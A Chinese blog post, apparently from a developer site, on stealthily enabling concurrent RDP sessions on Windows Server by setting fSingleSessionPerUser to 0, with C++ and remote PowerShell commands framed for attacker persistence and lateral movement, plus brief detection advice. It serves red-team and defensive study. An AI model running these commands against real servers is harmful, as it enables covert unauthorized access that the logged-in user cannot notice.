RDP 启用多用户会话(当前用户无感知)

1. 引言

在 Windows 系统中,默认情况下每个用户只能同时维持一个远程桌面协议(RDP)会话。这一限制旨在确保资源公平分配与会话隔离。然而,对于网络攻击者而言,启用多用户 RDP 会话(即允许多个并发 RDP 连接,且当前登录用户无感知)具有极高的战略价值:

  • 持久化:攻击者可在目标主机上长期驻留而不触发用户警觉;
  • 横向移动:利用已感染主机作为跳板,快速扩展至内网其他节点;
  • 权限提升:通过并行会话劫持高权限账户或执行提权操作。

攻击者通过修改 终端服务(Terminal Services) 相关的注册表键,显式关闭"每个用户仅限单一会话"的限制,即可实现上述目标。当前登录用户不会收到任何提示或中断,会话完全在后台并行运行。

重要提示 :本技术仅适用于 Windows Server 系列操作系统(如 Windows Server 2016/2019/2022)。在桌面版 Windows(如 Windows 10/11)中,RDP 默认受许可证与系统策略限制,即使修改注册表也无法启用真正意义上的多用户并发。


2. 技术实现方式

以下提供四种主流实现路径,涵盖本地执行与远程注入两种场景。所有操作均需管理员(SYSTEM)权限

方法一:本地注册表修改(策略路径)

cpp 复制代码
// C++ 示例(需提升至管理员权限)
system("reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\" "
       "/v fSingleSessionPerUser /t REG_DWORD /d 0 /f");

说明:该键位于组策略映射区域,优先级较高,适用于域环境或 GPO 受控主机。


方法二:本地注册表修改(控制集路径)

cpp 复制代码
// C++ 示例
system("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" "
       "/v fSingleSessionPerUser /t REG_DWORD /d 0 /f");

说明:这是终端服务核心配置路径,修改后立即生效,无需重启服务。


方法三:远程 PowerShell 执行(策略路径)

powershell 复制代码
Invoke-Command -ComputerName <目标主机名或IP> -ScriptBlock {
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" `
        /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
}

前提:需启用 WinRM 服务并具有远程管理权限(通常通过 PsExec、WMI 或域凭据实现)。


方法四:远程 PowerShell 执行(控制集路径)

powershell 复制代码
Invoke-Command -ComputerName <目标主机名或IP> -ScriptBlock {
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" `
        /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
}

推荐在横向移动阶段使用,可批量处理多台内网服务器。


3. 实现效果与验证

修改完成后,无需重启终端服务或操作系统,新策略立即生效。

效果表现:

场景 行为描述
用户 A 已通过 RDP 登录 攻击者可使用用户 B 的凭据新建 RDP 会话
多个攻击者并行连接 各自会话独立运行,互不干扰
当前屏幕用户 完全无感知,无弹窗、无断开提示
任务管理器查看 可见多条 mstsc.exe / rdpclip.exe 进程

验证命令:

powershell 复制代码
# 查看当前 RDP 会话列表
qwinsta

# 或查询注册表值
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser
# 返回:0x0 表示已禁用单会话限制

4. 安全建议(防御视角)

尽管本文从进攻角度阐述技术,但企业安全团队应关注以下加固措施:

  1. 监控注册表修改行为
    启用 Sysmon(Event ID 13)捕获对 Terminal Server 键的写操作;
  2. 限制 RDP 访问来源
    通过防火墙或 RD Gateway 限制仅允许特定 IP 发起连接;
  3. 实施最小权限原则
    禁止普通用户拥有远程登录权限;
  4. 定期轮转凭据 + MFA
    降低凭据被盗用后的影响范围。

总结

通过简单修改 fSingleSessionPerUser=0,攻击者即可在 Windows Server 上实现隐蔽、高效、持久的 RDP 多会话控制。此技术是红队演练、渗透测试及真实 APT 攻击中的标准配置之一。理解其原理与痕迹,有助于构建更完善的检测与响应机制。

相关推荐
brucelee1863 小时前
Claude Code 安装教程(Windows / Linux / macOS)
linux·windows·macos
liann1194 小时前
3.2_红队攻击框架--MITRE ATT&CK‌
python·网络协议·安全·网络安全·系统安全·信息与通信
卷Java7 小时前
GPTQ vs AWQ vs GGUF:模型量化工具横向测评
开发语言·windows·python
电子科技圈7 小时前
芯科科技在蓝牙亚洲大会展示汽车与边缘AI前沿蓝牙创新技术, 解锁车用、家居、健康及工商业等应用场景
人工智能·科技·嵌入式硬件·mcu·物联网·网络安全·汽车
x-cmd8 小时前
[260429] x-cmd v0.9.1:一键开启 DeepSeek-V4-Pro Max 模式 + 1M 上下文;顺手重构了 uuid 模块
windows·重构·uuid·claude·curl·x-cmd·deepseek-v4-pro
今夕资源网8 小时前
Windows 上安装 Claude Code并且接入DeepSeekV4-Pro的Max模式和激活1M上下文
windows
大方子9 小时前
【好靶场】有点儿用的图形验证码
网络安全·好靶场
能年玲奈喝榴莲牛奶9 小时前
记一次挖矿病毒应急
网络安全·应急响应
HLJ洛神千羽9 小时前
电脑右下角显示【周几或星期几】和【上下午】方法
windows
ITHAOGE1510 小时前
下载 | Windows Server 2025官方原版ISO映像!(4月更新、标准版、数据中心版、26100.32690)
服务器·windows·科技·微软·电脑